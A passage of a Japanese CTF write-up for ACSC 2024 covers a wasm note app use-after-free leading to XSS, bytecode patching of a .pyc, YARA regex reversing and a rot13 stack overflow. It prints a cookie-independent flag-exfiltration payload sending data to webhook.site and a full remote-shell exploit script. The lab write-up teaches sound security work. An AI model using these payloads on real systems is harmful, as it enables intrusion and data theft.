        }
    }())

    r.GET("/", func(c *gin.Context) {
        c.HTML(http.StatusOK, "index.html", nil)
    })

    r.GET("/flag", func(c *gin.Context) {
        secret, _ := c.Cookie("SECRET")
        if secret != (os.Getenv("SECRET")) {
            c.String(http.StatusForbidden, "You are not allowed to see the flag")
            return
        }
        c.String(http.StatusOK, os.Getenv("FLAG"))
    })

    r.NoRoute(func(c *gin.Context) {
        c.String(http.StatusOK, fmt.Sprintf("%s not found", c.Request.URL))
    })

    r.Run(":5000")
}

もっとも重要であろうクライアント側のコードを見ていく。main.js は次の通り。同時に module.js も読み込まれているけれども、これはEmscriptenによって出力されたJSファイルで、main.js と、module.wasm というあわせて出力されたwasmファイルとのブリッジとしての役割を担う。

main.js はメモの追加や削除、描画等の処理が書かれている。ところどころ参照されている api というオブジェクトに生えている関数は、module.js を経由してwasm側の関数が呼び出されるものだ。また、JS側からも populateNoteHTMLCallbackdeleteNoteCallback というプロパティを生やして、wasm側からJS側の populateNoteHTMLdeleteNote を呼び出せるようにしている。

renderNotes では innerHTML への代入でメモが描画されており、HTML Injectionができそうに見えるけれども、残念ながらwasm側でエスケープが行われているようで、<s>test</s> のようなメモを作成しても斜線では表示されない。なお、メモの情報はwasm側に保存されているようで、適当なタイミングで populateNoteHTML によってwasm側から読み出している。renderNotes では、notesToHTML で全メモの内容をHTMLに展開し結合したものが innerHTML に代入されている。

const api = {};
const addNoteForm = document.getElementById('add-note');
const myNotesDiv = document.getElementById('notes');
const shareUrl = document.getElementById('share-url');

const saved = [];
const notes = [];

const notesToHTML = (notes) => {
  return notes.map((note, idx) => `
    <div data-note-id="${idx}">
      ${note}
      <button class="contrast outline" data-idx="${idx}">Delete</button>
    </div>
  `).join('');
}

const addNote = (title, content, isBatched = false) => {

  saved.push({
    'action': 'add',
    'title': title,
    'content': content
  })
  shareUrl.href = `${window.location.origin}?s=${btoa(JSON.stringify(saved))}`;

  const noteId = api.addNote(
    title,
    content
  );

  if (noteId < 0) {
    Swal.fire({
      icon: "error",
      title: "Oops...",
      text: "Note was too long!",
    });
    return;
  }

  if (!isBatched) {
    api.populateNoteHTML(api.populateNoteHTMLCallback);
    renderNotes();
  }
}

const renderNotes = () => {
  const html = notes.length > 0 ? notesToHTML(notes) : '<p>No notes yet</p>';
  myNotesDiv.innerHTML = html;
  const deleteButtons = document.querySelectorAll('[data-idx]');
  deleteButtons.forEach((button) => {
    button.addEventListener('click', (e) => {
      const noteId = e.target.dataset.idx;
      api.deleteNote(noteId, api.deleteNoteCallback)
    });
  });
}

const populateNoteHTML = (noteHTML, idx) => {
  notes[idx] = UTF8ToString(noteHTML);
}

const deleteNote = (noteId, isBatched = false) => {
  saved.push({
    'action': 'delete',
    'noteId': noteId
  })
  shareUrl.href = `${window.location.origin}?s=${btoa(JSON.stringify(saved))}`;

  if (!isBatched) {
    notes.splice(noteId, 1);
    renderNotes();
  }
}

const main = () => {
  addNoteForm.addEventListener('submit', (e) => {
    e.preventDefault();
    const title = document.getElementById('title').value;
    const content = document.getElementById('content').value;
    
    addNote(title, content)
    addNoteForm.reset();
  })

  serialized = new URLSearchParams(window.location.search).get('s');
  if (serialized) {
    todo = JSON.parse(atob(serialized));

    todo.forEach((step) => {
      if (step.action == 'add') {
        addNote(
          step.title,
          step.content,
          true
        );
      } else if (step.action == 'delete') {
        api.deleteNote(
          step.noteId,
          api.deleteNoteCallback,
          true
        );
      }
    });
    api.populateNoteHTML(api.populateNoteHTMLCallback);
    renderNotes();
  }
}

Module.onRuntimeInitialized = async (_) => {

  api.populateNoteHTMLCallback = Module.addFunction(populateNoteHTML,'iii');
  api.deleteNoteCallback = Module.addFunction(deleteNote,'vi');

  api.addNote = Module.cwrap('addNote', 'number', ['string', 'string']);
  api.deleteNote = Module.cwrap('deleteNote', 'number', ['number', 'number']);
  api.populateNoteHTML = Module.cwrap('populateNoteHTML', null, ['number']);

  main();
};

module.wasm を読んでいきたいけれども、親切なことにその元のソースコードである module.c が配布されている。色々と面白い実装になっていて、たとえばメモは片方向の連結リストになっていたり、メモは note という構造体が使われているけれども、これが持つ toHTML というフィールドが関数ポインタで、タイトルと内容を sanitize によってエスケープしてくれる toSafeHTML という関数を指していたりする。

特に後者が怪しく、なんらかの脆弱性によって toHTMLtoSafeHTML 以外の適切な関数へ向けさせることで、エスケープさせずにメモの内容をJS側に返させることができるのではないか。

// emcc -s WASM=1 -s EXPORTED_RUNTIME_METHODS='["cwrap", "addFunction"]' -s ALLOW_TABLE_GROWTH module.c --no-entry -o module.js
#include <emscripten.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

typedef struct note {
  char *(*toHTML) (char *title, char *content);
  struct note *next;
  char *title;
  char *content;
} note;

note *head = NULL;

char *sanitize(char *str) {
  char *safe = malloc(strlen(str) * 6);
  safe[0] = '\0';
  
  while (*str) {
    switch (*str) {
      case '<':
        strcat(safe, "&lt;");
        break;
      case '>':
        strcat(safe, "&gt;");
        break;
      case '&':
        strcat(safe, "&amp;");
        break;
      case '"':
        strcat(safe, "&quot;");
        break;
      case '\'':
        strcat(safe, "&#x27;");
        break;
      default:
        strncat(safe, str, 1);
        break;
    }
    str++;
  }
  return safe;
}

char *toSafeHTML(char *title, char *content) {
  int length = strlen(title) + strlen(content) + 100;
  char *safeHTML = malloc(length);
  safeHTML[0] = '\0';

  char *safeTitle = sanitize(title);
  char *safeContent = sanitize(content);

  snprintf(safeHTML, length, "<article><h1>%s</h1><p>%s</p></article>", safeTitle, safeContent);
  return safeHTML;
}

EMSCRIPTEN_KEEPALIVE
int addNote(char *title, char *content) {

  if (strlen (title) > 65 || strlen (content) > 100) {
    return -1;
  }

  char *noteTitle = malloc(strlen(title) + 1);
  char *noteContent = malloc(strlen(content) + 1);

  strcpy(noteTitle, title);
  strcpy(noteContent, content);
  struct note *n = malloc(sizeof(struct note));
  n->title = noteTitle;
  n->content = noteContent;
  n->toHTML = toSafeHTML;
  n->next = NULL;

  if (head == NULL) {
    head = n;
    return 0;
  }

  int i = 0;
  note *current = head;
  while (current->next != NULL) {
    current = current->next;
    i++;
  }
  current->next = n;
  return i + 1;
}

EMSCRIPTEN_KEEPALIVE
void populateNoteHTML(int *(*callback)(char *, int)) {
  int i = 0;
  note *current = head;
  while (current != NULL) {
    callback(current->toHTML(current->title, current->content), i);
    current = current->next;
    i++;
  }
}

EMSCRIPTEN_KEEPALIVE
int deleteNote(int idx, void (*callback)(int)) {
  note *current = head;
  note *prev = head;

  int i = 0;
  while (current != NULL) {
    if (i == idx) {
      prev->next = current->next;
      free(current);
      callback(idx);
      return 0;
    }
    prev = current;
    current = current->next;
    i++;
  }
  
  return -1;
}

適当に試していると、次のようにIDが0であるメモを削除しようとすると "memory access out of bounds" というエラーが発生することに気づいた。

[
    {"action":"add","title":"a","content":"b"},
    {"action":"delete","noteId":0},
]

なるほど、deleteNote ではIDが0のメモが削除される場合を考慮されていないらしい。そのメモの free はされるけれども、片方向の連結リストの先頭を意味する head が、削除されたはずのメモを指したままになっているらしい。Use-After-Free(UAF)だ。

EMSCRIPTEN_KEEPALIVE
int deleteNote(int idx, void (*callback)(int)) {
  note *current = head;
  note *prev = head;

  int i = 0;
  while (current != NULL) {
    if (i == idx) {
      prev->next = current->next;
      free(current);
      callback(idx);
      return 0;
    }
    prev = current;
    current = current->next;
    i++;
  }
  
  return -1;
}

このUAFを利用できないか。たとえば、toHTML にデフォルトでは toSafeHTML が入っているわけだけれども、これを別の関数に変えられないか。wasmでは関数ポインタはアドレスの代わりに table の添字を持つようコンパイルされがちで、今回もそうだ。Mapna CTF 2024でもwasm pwnが出て色々書いたので、細かいwasmの話はそちらも参照いただくとして、今回はテーブルにどんな関数があるだろうか。

ChromeのDevTools付属のデバッガで確認していく。適当な場所にブレークポイントを置いて、テーブルを確認すると、次のような要素が確認できた。後ろの2つはJS側から追加された populateNoteHTMLdeleteNote だ。wasmでは call_indirect 命令を使ってこれらの関数が呼び出されるわけだけれども、引数や返り値の型が toSafeHTML と一致しているものしか使えない。ほかに char * (*func)(char *, char *) というような関数はないか。ひとつひとつ見ていくと、populateNoteHTML がそれだった。

populateNoteHTML は、引数として渡されたノートのHTMLを指すアドレスについて、JS側のノートを管理するオブジェクトにその内容をwasm側から持ってきて保存する関数だ。もし toHTML がこれを指すよう変更できれば、エスケープをすっ飛ばしてノートのHTMLを書き込める(つまり、HTML Injectionへ持ち込める)ということになる。

const populateNoteHTML = (noteHTML, idx) => {
  notes[idx] = UTF8ToString(noteHTML);
}

先程のUAFを使いつつ toHTML5、つまり先程のテーブルにおける populateNoteHTML の添字を指すようにできないかと色々試していた。すると、次のJSONのときに無事HTML Injectionへ持ち込めた。

[
    {"action":"add","title":"<s>test</s>","content":"a"},
    {"action":"delete","noteId":0},
    {"action":"add","title":"\5","content":"a"},
]

ただ、まだ問題がある。module.caddNote を見るとわかるようにタイトルは65文字以下でなければならず、これとCSPとの合わせ技のために厳しいXSSゴルフをしなければならない。'unsafe-inline' がCSPの script-src ディレクティブで指定されておらず、代わりに 'self''unsafe-eval' がいるので、JSコードを実行するには script 要素で同じオリジンからJSファイルを読み込んでこなければならない。

innerHTML が使われているから、単に <script src=…></script> を使うだけでは発火しない。iframesrcdoc 属性を使って、<iframe srcdoc="<script src=…></script>"> のようにする必要がある。では、ここでどのJSファイルを読み込ませればよいか。

パスに対応する適切なハンドラが存在しない場合に、次のようなコンテンツが返ってくることを思い出した。Not Foundを返すべきところなぜかOKを返している。また、たとえば /hoge/poyo; のようなパスであれば、そのまま /hoge/poyo; not found が返ってくるというように、パスがその内容に反映されている。

   r.NoRoute(func(c *gin.Context) {
        c.String(http.StatusOK, fmt.Sprintf("%s not found", c.Request.URL))
    })

/a/;alert(123)// のようなパスであれば /a/;alert(123)// not found が返ってくるが、これはJSコードとして合法だ。メモのタイトルに <iframe srcdoc="<script src=/a/;alert(123)//></script>"> をつっこんでやると、alert が表示された。

やっとXSSに持ち込めたが、まだ問題がある。これだけの文字数で /flagfetch させてその内容を外に流すというような処理をさせるのは無理がある。なんとかできないかと考えていると、window.name を使ったXSSゴルフテクを思い出した。'unsafe-eval' があるので eval(name) を実行させればよい。

まず、次のようなHTMLを用意し、適当なところでホストする。

<script>
window.name = `fetch('/flag').then(r=>r.text()).then(r=>{location.href=['https://webhook.site/…?',r]})`;
location = 'http://chall:5000/?s=W3siYWN0aW9uIjoiYWRkIiwidGl0bGUiOiI8aWZyYW1lIHNyY2RvYz1cIjxzY3JpcHQgc3JjPS9hLztldmFsKHRvcC5uYW1lKS8vPjwvc2NyaXB0PlwiPiIsImNvbnRlbnQiOiJiYiJ9LHsiYWN0aW9uIjoiZGVsZXRlIiwibm90ZUlkIjowfSx7ImFjdGlvbiI6ImFkZCIsInRpdGxlIjoiXHUwMDA1XHUwMDAwXHUwMDAwXHUwMDAwXHUwMDAwXHUwMDAwXHUwMDAwXHUwMDAwXHUwMDAwXHUwMDAwXHUwMDAwXHUwMDAwXHUwMDAwXHUwMDAwXHUwMDAwIiwiY29udGVudCI6Ik1NTU1OTk5OT09PT1BQUCJ9XQ==';
</script>

そのURLを通報するとフラグが得られた。

ACSC{j01n_th3_cult_0f_w3b4ss3mbly}

[Rev 100] compyled (50 solves)

It's just a compiled Python. It won't hurt me...

authored by splitline

添付ファイル: dist-compyled-cd28f1dad3613ce9587e7d963cd82bff95c8156b.tar.gz

run.pyc というファイルが添付されている。decompyle3uncompyle6ではデコンパイルできない。実行すると、次のようにフラグを聞かれる。

$ python3 run.pyc
FLAG> hoge
FLAG>

色々ツールを探して試していると、Decompyle++であれば、デコンパイルはできないものの逆アセンブルはできた。めちゃくちゃ長く、人間が読むのは難しそうだ。ただ、最後に COMPARE_OP が実行されていることから、ユーザ入力と、これらの操作によって作り出した文字列か何かとが比較されているとわかる。そもそもユーザ入力がこれらの操作で変換されている可能性もあるけれども、いずれにしても COMPARE_OP で比較されている2つを出力できないか。

…
    [Disassembly]
        0       LOAD_NAME                       1: input
        2       LOAD_CONST                      0: 'FLAG> '
        4       CALL_FUNCTION                   1
        6       LOAD_CONST                      12 <INVALID>
        8       LOAD_CONST                      20 <INVALID>
        10      BUILD_TUPLE                     0
        12      MATCH_SEQUENCE                  
        14      ROT_TWO                         
        16      POP_TOP                         
        18      DUP_TOP                         
        20      BINARY_ADD                      
        22      DUP_TOP                         
        24      BINARY_ADD                      
        26      DUP_TOP                         
        28      BINARY_ADD                      
        30      DUP_TOP                         
        32      BINARY_ADD                      
        34      DUP_TOP                         
        36      BINARY_ADD                      
        38      DUP_TOP                         
…
        2438    UNARY_NEGATIVE                  
        2440    BUILD_SLICE                     2
        2442    BINARY_SUBSCR                   
        2444    COMPARE_OP                      2 (==)
        2446    POP_JUMP_IF_FALSE               0 (to 0)
        2448    LOAD_NAME                       1: input
        2450    LOAD_CONST                      1: 'CORRECT'
        2452    CALL_FUNCTION                   1
        2454    RETURN_VALUE                    
…

pycを編集してしまって、最後の COMPARE_OP 等を print の呼び出し処理に置き換えてしまえばよいのではないかと考えた。オペコードの一覧ともにらめっこしつつ、次のようにまず print をスタックに乗せ、最後に COMPARE_OP で比較されていた2つの引数を出力させるように変更した。

…
        0       LOAD_NAME                       0: print
…
        2440    UNARY_NEGATIVE
        2442    BUILD_SLICE                     2
        2444    BINARY_SUBSCR
        2446    NOP
        2448    CALL_FUNCTION                   2
        2450    NOP
        2452    NOP
        2454    NOP
…

実行すると、フラグが得られた。なるほど、そのままユーザ入力とフラグが比較されていたらしい。

$ python3 run_.pyc
FLAG> hoge
hoge ACSC{d1d_u_notice_the_oob_L04D_C0N5T?}
XXX lineno: -1, opcode: 0
Traceback (most recent call last):
  File "<sandbox>", line -1, in <eval>
SystemError: unknown opcode
ACSC{d1d_u_notice_the_oob_L04D_C0N5T?}

[Rev 250] YaraReTa (10 solves)

Yara... Re... Ta...

authored by n4nu

添付ファイル: dist-yarareta-110f794800a3d4adf09c9549410fcb19631fbfd7.tar.gz

いい問題文。次のようなファイルが与えられている。いくつもバイナリがあって若干わかりづらいけれども、check.sh を起点にするとわかりやすい。yara, libyara.so.10 はそれぞれYARAの実行ファイルとライブラリで、yarareta はそれで読み込めるコンパイル済みのYARAルールだ。

$ file *
PrintFlag:     ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d17e79be43c7a6fbea4f5a69a4d7be9cce1476e8, for GNU/Linux 3.2.0, not stripped
check.sh:      POSIX shell script, ASCII text executable
libyara.so.10: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=33c7d3d3204309302fe637aece8446ef19d04ffb, not stripped
yara:          ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ba588e1de98732aed2b4eb82bcff950c07ed4c5f, for GNU/Linux 3.2.0, not stripped
yarareta:      YARA 3.x compiled rule set development version 00
$ cat check.sh
#!/bin/sh

LD_PRELOAD=./libyara.so.10 ./yara -C ./yarareta ./PrintFlag

PrintFlag というのはフラグを出力してくれるバイナリだけれども、check.sh が言うようにこのバイナリに含まれるキーは誤っているので、ちゃんとしたフラグを出力してくれない。先程のYARAルールにマッチするように PrintFlag を修正する必要があるらしい。

$ ./check.sh
InvalidKey ./PrintFlag
$ ./PrintFlag | xxd
00000000: 666c 6167 3a20 36e2 0807 443a d896 8ac1  flag: 6...D:....
00000010: cc39 620a d60b 47e6 c2e5 fdf1 f9cd fe2d  .9b...G........-
00000020: 2341 526c efb1 bd2a f62c 1d8d 8c9a b5d5  #ARl...*.,......
00000030: 96cd 8bb5 2e0b c4f7 4d35 8536 34d8 265e  ........M5.64.&^
00000040: 873f e5f5 08d7 0a                        .?.....

まずコンパイル済みのYARAルールをデコンパイル、あるいは逆アセンブルできるようなツールを探したものの、どれもこの yarareta には適用できなかった。仕方がないので、YARA本体のコードをいじって何かできないか探っていく。そのためにもYARAのバージョンを確認したいが、これは --version オプションを付与するだけでよかった。ほか、check.sh で実行されるコマンドに色々オプションを付与しつつ実行してみたものの、大した情報は得られなかった。

ちなみに、key_offset として指定されている8208(0x2010)について、PrintFlag でそのオフセットを見てみると CanYouFindTheKey という文字列が格納されていた。これを書き換えればよいらしい。

$ LD_PRELOAD=./libyara.so.10 ./yara --version
4.5.0
$ LD_PRELOAD=./libyara.so.10 ./yara -C yarareta -D -m -e -s PrintFlag
acsc
        key_offset = 8208
console
magic
default:InvalidKey [] PrintFlag

YARAのコードを眺めていると、YR_DEBUG_VERBOSITY に0より大きな数値が入っている状況でコンパイルすると、色々デバッグメッセージが表示されることがわかった。やってみると、色々情報が増えた。ただ、どうやら yarareta から読み込まれようとしているモジュールが存在しないということで、途中で落ちている。

$ yara-4.5.0/yara -C yarareta PrintFlag
0.000000 088076 + yr_initialize() {
0.004476 088076   - hash__initialize() {}
0.004495 088076 } // yr_initialize()
0.006527 088076 - yr_scanner_create() {}
0.007283 088076 + yr_scanner_scan_mem(buffer=0x7facf697c000 buffer_size=16456) {
0.007299 088076   + yr_scanner_scan_mem_blocks() {
0.007306 088076     - _yr_get_first_block() {} = 0x7ffc1e575d60 // default iterator; single memory block, blocking
0.007906 088076     + _yr_scanner_scan_mem_block(block_data=0x7facf697c000 block->base=0x0 block->size=16456) {
0.007942 088076     } = 0 AKA ERROR_SUCCESS 0 // _yr_scanner_scan_mem_block()
0.007952 088076     - _yr_get_next_block() {} = (nil) // default iterator; single memory block, blocking
0.007954 088076     - _yr_get_file_size() {} = 16456  // default iterator; single memory block, blocking
0.008614 088076     + yr_execute_code() {
0.008635 088076       - case OP_IMPORT: // yr_execute_code()
0.008657 088076     } = 34 AKA ERROR_UNKNOWN_MODULE // yr_execute_code()
0.008669 088076     - _yr_scanner_clean_matches() {}
0.008673 088076   } = 34 AKA ERROR_UNKNOWN_MODULE // yr_scanner_scan_mem_blocks()
0.008683 088076 } = 34 AKA ERROR_UNKNOWN_MODULE // yr_scanner_scan_mem()
error scanning PrintFlag: error: 34
0.008869 088076 - yr_scanner_destroy() {}
0.008874 088076 + yr_finalize() {
0.008885 088076   - hash__finalize() {}
0.008887 088076 } // yr_finalize()

ERROR_UNKNOWN_MODULE という定数を手がかりとして、モジュールを探している箇所を見つける。ここで module_name を出力させるようにして、どんなモジュールが探されているか見てみる。すると、[module] acsc と出力された。acsc というモジュールが足りないらしい。

添付されていた libyara.so.10 を見てみると、acsc__declarationsacsc__unload のようなこのモジュールを実装している関数が見つかる。

$ strings -n 8 libyara.so.10 | grep acsc__
acsc__declarations
acsc__finalize
acsc__unload
acsc__initialize
acsc__load

YARAのドキュメントにはモジュールの書き方が紹介されているページもあるので、これを参考にIDA Freewareで読んでみる。大体次のような雰囲気で、どうやら check という関数が定義されているということが重要そうだ。これは正規表現を引数として受け取り、先程の鍵がマッチするかどうかをチェックしている。

#include <yara/modules.h>

#define MODULE_NAME acsc

define_function(check) {
    YR_OBJECT* module = yr_module();
    YR_SCAN_CONTEXT* context = yr_scan_context();

    int64_t key_offset = 0;
    key_offset = yr_get_integer(module, "key_offset");
    RE* regex = regexp_argument(1);

    if (yr_re_match(yr_scan_context(), regex, "ここになんか入る") == -1) {
        return_integer(0);
    }

    return_integer(1);
}

begin_declarations;
  declare_integer("key_offset");
  declare_function("check","r","i",check)

end_declarations;

int module_initialize(
    YR_MODULE* module)
{
  return ERROR_SUCCESS;
}

int module_finalize(
    YR_MODULE* module)
{
  return ERROR_SUCCESS;
}

int module_load(
    YR_SCAN_CONTEXT* context,
    YR_OBJECT* module_object,
    void* module_data,
    size_t module_data_size)
{
  yr_set_integer(0x2010, module_object, "key_offset");
  return ERROR_SUCCESS;
}

int module_unload(
    YR_OBJECT* module_object)
{
  return ERROR_SUCCESS;
}

#undef MODULE_NAME

では、この check がどのように呼び出されているか、またどのような正規表現が与えられるかを知りたい。まず、先程のモジュールの書き方が紹介されているページを参考に libyara/modules/acsc/acsc.c というファイルを作成したり、module_list を編集したりしてモジュールを作成する。

これで自分でビルドしたYARAでも yarareta のルールを使えるかと思ったが、今度は magic というモジュールが足りないと怒られた。こちらのモジュールは独自のものではなく、そのコード自体は含まれているので、ただ有効化するだけでよい。

これでやっと実行ができた。先程色々とデバッグメッセージを出力するようにしておいたおかげで、どんなオペコードが実行されているかがわかりやすい。あまり複雑なことはやっていないようで、ひたすら check を呼んでいるだけに見える。

…
0.008695 036962     + yr_execute_code() {
0.008716 036962       - case OP_IMPORT: // yr_execute_code()
0.008738 036962       - case OP_IMPORT: // yr_execute_code()
0.008754 036962       - case OP_IMPORT: // yr_execute_code()
0.008765 036962       - case OP_INIT_RULE: // yr_execute_code()
0.008774 036962       - case OP_OBJ_LOAD: // yr_execute_code()
0.008777 036962       - case OP_OBJ_FIELD: // yr_execute_code()
0.008800 036962       - case OP_CALL: // yr_execute_code()
0.008846 036962       - _yr_get_first_block() {} = 0x7fffe9bcbbe0 // default iterator; single memory block, blocking
0.008978 036962       - case OP_OBJ_VALUE: // yr_execute_code()
0.008991 036962       - case OP_PUSH: // yr_execute_code()
0.008992 036962       - case OP_CONTAINS: // yr_execute_code()
0.008995 036962       - case OP_JFALSE: // yr_execute_code()
0.009004 036962       - case OP_OBJ_LOAD: // yr_execute_code()
0.009007 036962       - case OP_OBJ_FIELD: // yr_execute_code()
0.009008 036962       - case OP_PUSH: // yr_execute_code()
0.009017 036962       - case OP_CALL: // yr_execute_code()
0.009459 036962       - case OP_OBJ_VALUE: // yr_execute_code()
0.009469 036962       - case OP_AND: // yr_execute_code()
0.009470 036962       - case OP_JFALSE: // yr_execute_code()
…

check の引数を見ていく。yr_re_match からは yr_re_exec という関数が呼び出されているけれども、この周辺を見るとわかるように、どうやらYARAは自分で正規表現エンジンを実装しているらしい。また、正規表現はバイナリ表現に変換されており、なんとかして自力で元の表現を復元する必要がある。面倒くさいなあ。

この関数中のswitch文の直前に printf("[*ip] %x\n", *ip) のような文を挿入して、実行されたオペコードを出力するようにする。これをコンパイルして実行すると、どうやら RE_OPCODE_MATCH_AT_START (0xb1)と RE_OPCODE_CLASS (0xa5)のみが使われているようだとわかった。非常にシンプルな構造だ。

後者は文字クラスを意味するわけだけれども、YARAでは文字クラスは RE_CLASS という構造体で表現されている。32バイトの bitmap というフィールドを持っていることから察してしまうが、CHAR_IN_CLASS というマクロからもわかるように、1ビットが1文字と対応しつつ、その文字クラスにその文字が含まれていればビットが立つという形で、このフィールドに圧縮して格納されている。

ここまでくれば、バイナリ表現から元の正規表現を復元することは容易だ。ついでに、check に投げられるすべての正規表現にマッチするような16バイトのバイト列を特定する。

import binascii

s = open('distfiles-yarareta/yarareta', 'rb').read()
i = s.find(b'\0\0\0\xb1')
groups = []
while i != -1:
    if i == 23904: break
    j = s.find(b'\xa5', i)
    group = []
    for _ in range(16):
        group.append(s[j+2:j+2+32]) # bitmapを集める
        j = s.find(b'\xa5', j + 1)
    groups.append(group)
    i = s.find(b'\0\0\0\xb1', i + 4)

def class_to_set(klass):
    res = []
    for c in range(0x100):
        if not klass[c // 8] & (1 << (c % 8)):
            res.append(c)
    return set(res)

key = [set(range(0x100)) for _ in range(16)]
for group in groups:
    for i, (c, klass) in enumerate(zip(key, group)):
        key[i] = class_to_set(klass) & c

s = open('PrintFlag', 'rb').read()

print('[key]', bytes(list(x)[0] for x in key))
with open('go', 'wb') as f:
    f.write(s[:0x2010])
    f.write(bytes(list(x)[0] for x in key))
    f.write(s[0x2020:])

これで PrintFlag に含まれるべき適切な鍵が特定できたし、PrintFlag の0x2010以降の鍵をそれに置き換えて実行することでフラグが得られた。

$ python3 s.py
[key] b'\x98\xff\xf9\xd4\x8c\x07\x86%\x05\x1b\xf1$\xd8\xb8\x91L'
$ ./go
flag: ACSC{YaraHasTwoVirtualMachines_92b2c97ac28dd9fcbdf26ae7a7c906fe}
ACSC{YaraHasTwoVirtualMachines_92b2c97ac28dd9fcbdf26ae7a7c906fe}

[Pwn 100] rot13 (86 solves)

This is the fastest implementation of ROT13!

nc rot13.chal.2024.ctf.acsc.asia 9999

dist-rot13-82c56f36a1baef1488b632d6c9fb7cd7aead77d0.tar.gz

バイナリやらなんやらが与えられている。バイナリの元のCコードは次の通り。自明なバッファオーバーフローがあるけれども、残念ながらStack Smashing Protectorが有効化されているので、まずはcanaryを入手しなければならない。rot13 を活かして、ちょうどcanaryとくっつく程度の文字数を入力すれば、ユーザ入力とcanaryをあわせて出力してくれるのではないかと考えたが、 scanf くんは優しいことにNULL文字を追加してくれるのでそうはいかない。

#include <stdio.h>
#include <string.h>

#define ROT13_TABLE                                                   \
  "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"  \
  "\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"  \
  "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"  \
  "\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"  \
  "\x40\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x41\x42"  \
  "\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x5b\x5c\x5d\x5e\x5f"  \
  "\x60\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x61\x62"  \
  "\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x7b\x7c\x7d\x7e\x7f"  \
  "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"  \
  "\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"  \
  "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"  \
  "\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"  \
  "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"  \
  "\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"  \
  "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"  \
  "\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

void rot13(const char *table, char *buf) {
  printf("Result: ");
  for (size_t i = 0; i < strlen(buf); i++)
    putchar(table[buf[i]]);
  putchar('\n');
}

int main() {
  const char table[0x100] = ROT13_TABLE;
  char buf[0x100];
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);

  while (1) {
    printf("Text: ");
    memset(buf, 0, sizeof(buf));
    if (scanf("%[^\n]%*c", buf) != 1)
      return 0;
    rot13(table, buf);
  }
  return 0;
}

ではどうするか。よく見ると rot13 の第2引数である bufchar * であって unsigned char * でない。これの何が問題かというと、buf の各文字は putchar(table[buf[i]]) のようにROT13の変換テーブルへのアクセスに使われているわけだけれども、ここで添字を負数にできてしまう。つまり、メモリ上で table より前にある部分を読み取れてしまう。これを使って、canaryやlibcのアドレスを特定していく。

この問題では /flag-(予測不能なhex).txt にフラグが存在しているので、シェルを得る必要がある。また、system("/bin/sh") を実行してくれるような優しい関数はこのバイナリには存在していないので、自力でシェルを得る必要がある。残念ながら pop rdi; ret のようなgadgetは死滅してしまっているので、One-gadget RCEを狙っていく。完成品のexploitは次の通り。

from pwn import *
context.log_level = 'error'

elf = ELF('distfiles-rot13/rot13')
s = remote('rot13.chal.2024.ctf.acsc.asia', 9999)
#s = process('distfiles-rot13/rot13')

def gen(x):
    return bytes(range(x, x+8))

# まずcanaryとmainのアドレスを取ってくる
s.recvuntil(b'Text: ')
s.send(gen(0xe8) + b'\n')
s.recvuntil(b'Result: ')

r = s.recvuntil(b'Text: ')
canary = r[:8]
print(canary)

## 続いてputcharのアドレスを取る
s.send(b'abcdefgh' + b'\n')
s.recvuntil(b'Result: ')
s.recvuntil(b'Text: ')

s.send(gen(0x88) + b'\n')
s.recvuntil(b'Result: ')
r = s.recvuntil(b'Text: ')
p = u64(r[:8])
libc_base = p - 0x82980 - 119
print(hex(p), hex(libc_base))

# OK, BOFしていく
s.send(b'A' * 0x100 + b'B' * 8 + canary + b'\0' * 8 + p64(libc_base + 0x50a47) + b'\n')

s.send(b'\n')
s.interactive()

s.close()

実行する。シェルが得られ、フラグも得られた。

$ python3 t.py
b'\x00\x14\xf4\xf7\x8bX\x8e\x9b'
0x7bcb3de2d9f7 0x7bcb3ddab000
Result: NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNOOOOOOOO
Text: $ ls
bin
boot
dev
etc
flag-9dc7aedeeb0b998e04e8c305115af8c2.txt
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cat f*
ACSC{aRr4y_1nd3X_sh0uLd_b3_uNs1Gn3d}
ACSC{aRr4y_1nd3X_sh0uLd_b3_uNs1Gn3d}

